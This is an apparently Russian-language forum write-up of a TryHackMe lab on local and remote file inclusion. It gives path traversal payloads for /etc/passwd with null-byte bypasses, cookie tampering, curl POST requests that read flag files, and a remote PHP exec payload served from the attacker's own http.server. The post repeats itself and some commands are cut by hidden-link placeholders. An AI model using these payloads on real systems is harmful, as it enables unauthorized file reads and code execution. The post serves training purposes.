G
guest-1675977874
Всем приветХотел вам рассказать про LFI и RFI уязвимости, особенно новичкам будет полезно.Итак
Перейдем в первую комнату
lab1.php - это файл.Если после него запросить файл с etc/passwd , то мы получим содержимое.Конечно, на практике такое не работает , эти все уязвимости остались позади )
Переходим во вторую комнату
Если сделать тоже самое,что и в первой комнате, то мы не сможем просмотреть содержимое файла, потому как добавляется лишняя косая черта.Мы можем просто добавить в url etc/passwd , но это тоже не сработает.Поэтому мы поступим иначе , как мы видим наш путь /var/www/html - это означает ../.../... и еще один уровень ../ теперь можно вводить etc passwd и мы прочитаем содержимое
Хорошо, приступаем к комнате номер 3.
Я ввожу слово 'codeby' , а сервер отвечает мне - codeby.php == мы не сможем посмотреть файл , как в прошлый раз , потому как будет /etc/passwd.php == такого файла нет на сервереВ старых версиях PHP есть обход.Мы можем дописать к нашему запросу %00 и к нашему запросу формат добавляться не будет.
file=../../../../etc/passwd%00 - это работает!
Важно понимать , какие существуют самые распространенные файлы в системе.Ознакомьтесь:
Идем дальше
Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?
Попробуем получить version_id в 6 комнате.
Как мы видим у нас нет доступа к файлам.Мы можем использовать только THM-profile.Если мы добавим THM-profile в начало запроса , то сможем просмотреть файлы
Идем дальше
Переходим к самому интересному.
Теперь надо будет работать с POST запросом.Нам нужно получить /etc/flag1 , воспользуемся бурпом или curlом , чтобы просто отправить запрос и получить флаг.Вот как это выглядит:
curl -X POST
забираем флаг
Переходи во вторую комнату и видим сообщение , что мы гость!
Просматривать эту страничку могут только админы.Значит мы должны посмотреть запрос через бурп
Включаем перехватчик и обновляем страничку.Как мы видим запрос GET и Cookie Guest.Мы можем поменять Guest на admin и нажать forward
Отлично, мы теперь знаем, что cookie параметр уязвим и через него можно достать флаг.Пробуем менять cookie на /etc/flag2
Мы получаем ошибку из-за косой черты и расширения php.Помните, мы уже обходили это с помощью etc/passwd и в конце дописываем %00
И опять не получается.Значит меняем запрос.Мы знаем , что мы находимся в /var/www/html значит вводим ../../../../etc/flag2%00
Ура)Забираем полученный флаг.
Переходим в 3 комнату.И осматриваемся и замечаем вот что:
Наш пэйлоад изменяется. Удаляются косые черточки и точки.Значит GET - это не наш случай.Будем отправлять запрос через curl POST
curl -X POST
Забираем флаг
Переходим к последнему заданию
Поднимаем удаленную машину python3 -m http.server она будет работать на порту 8000
создаем текстовик txt с содержимым <?php print exec('hostname'); ?>
Далее создаем файл к примеру cmd.txt
и вводим в машине след.команду
http айпи сайта трайхакми / плэйграунд php файл/file= наш айпи адрес порт 8000 и файл cmd.txt
как узнать айпи? Введите ifconfig
Далее копируем полученный флаг.Мы завершили эту машину)
Перейдем в первую комнату
lab1.php - это файл.Если после него запросить файл с etc/passwd , то мы получим содержимое.Конечно, на практике такое не работает , эти все уязвимости остались позади )
Переходим во вторую комнату
Если сделать тоже самое,что и в первой комнате, то мы не сможем просмотреть содержимое файла, потому как добавляется лишняя косая черта.Мы можем просто добавить в url etc/passwd , но это тоже не сработает.Поэтому мы поступим иначе , как мы видим наш путь /var/www/html - это означает ../.../... и еще один уровень ../ теперь можно вводить etc passwd и мы прочитаем содержимое
Хорошо, приступаем к комнате номер 3.
Я ввожу слово 'codeby' , а сервер отвечает мне - codeby.php == мы не сможем посмотреть файл , как в прошлый раз , потому как будет /etc/passwd.php == такого файла нет на сервереВ старых версиях PHP есть обход.Мы можем дописать к нашему запросу %00 и к нашему запросу формат добавляться не будет.
file=../../../../etc/passwd%00 - это работает!
Важно понимать , какие существуют самые распространенные файлы в системе.Ознакомьтесь:
Идем дальше
Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?
Попробуем получить version_id в 6 комнате.
Как мы видим у нас нет доступа к файлам.Мы можем использовать только THM-profile.Если мы добавим THM-profile в начало запроса , то сможем просмотреть файлы
Идем дальше
Переходим к самому интересному.
Теперь надо будет работать с POST запросом.Нам нужно получить /etc/flag1 , воспользуемся бурпом или curlом , чтобы просто отправить запрос и получить флаг.Вот как это выглядит:
curl -X POST
Ссылка скрыта от гостей
-d 'method=GET&file=/etc/flag1'забираем флаг
Переходи во вторую комнату и видим сообщение , что мы гость!
Просматривать эту страничку могут только админы.Значит мы должны посмотреть запрос через бурп
Включаем перехватчик и обновляем страничку.Как мы видим запрос GET и Cookie Guest.Мы можем поменять Guest на admin и нажать forward
Отлично, мы теперь знаем, что cookie параметр уязвим и через него можно достать флаг.Пробуем менять cookie на /etc/flag2
Мы получаем ошибку из-за косой черты и расширения php.Помните, мы уже обходили это с помощью etc/passwd и в конце дописываем %00
И опять не получается.Значит меняем запрос.Мы знаем , что мы находимся в /var/www/html значит вводим ../../../../etc/flag2%00
Ура)Забираем полученный флаг.
Переходим в 3 комнату.И осматриваемся и замечаем вот что:
Наш пэйлоад изменяется. Удаляются косые черточки и точки.Значит GET - это не наш случай.Будем отправлять запрос через curl POST
curl -X POST
Ссылка скрыта от гостей
-d 'method=POST&file=../../../../etc/flag3%00' --output - Забираем флаг
Переходим к последнему заданию
Поднимаем удаленную машину python3 -m http.server она будет работать на порту 8000
создаем текстовик txt с содержимым <?php print exec('hostname'); ?>
Далее создаем файл к примеру cmd.txt
и вводим в машине след.команду
Ссылка скрыта от гостей
http айпи сайта трайхакми / плэйграунд php файл/file= наш айпи адрес порт 8000 и файл cmd.txt
как узнать айпи? Введите ifconfig
Далее копируем полученный флаг.Мы завершили эту машину)